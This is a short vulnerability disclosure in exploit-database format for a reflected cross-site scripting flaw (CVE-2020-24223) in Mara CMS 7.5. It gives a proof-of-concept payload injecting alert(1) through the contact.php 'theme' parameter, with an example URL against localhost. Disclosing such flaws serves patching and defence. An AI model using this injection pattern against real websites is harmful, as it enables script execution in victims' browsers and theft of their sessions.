Mara CMS 7.5 - Reflective Cross-Site Scripting

# Exploit Title: Mara CMS  7.5 - Reflective Cross-Site Scripting
# Google Dork: NA
# Date: 2020-08-01
# Exploit Author: George Tsimpidas
# Vendor Homepage: https://sourceforge.net/projects/maracms/
# Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
# Version: 7.5
# Tested on: Kali Linux(x64)
# CVE : CVE-2020-24223


Mara CMS 7.5 suffers from a Reflected Cross Site Scripting vulnerability.

Description :


 This Reflected XSS vulnerability allows any authenticated user to
inject malicious code via the parameter contact.php?theme=<inject>.
The vulnerability exists because the parameter is not properly
sanitized and this can lead to malicious code injection that will be
executed on the target’s browser.

PoC :

Use Payload : seven69387';alert(1)//154

Path : http://localhost/contact.php?theme=< inject payload here>

Injection Example :
http://localhost/contact.php?theme=seven69387';alert(1)//154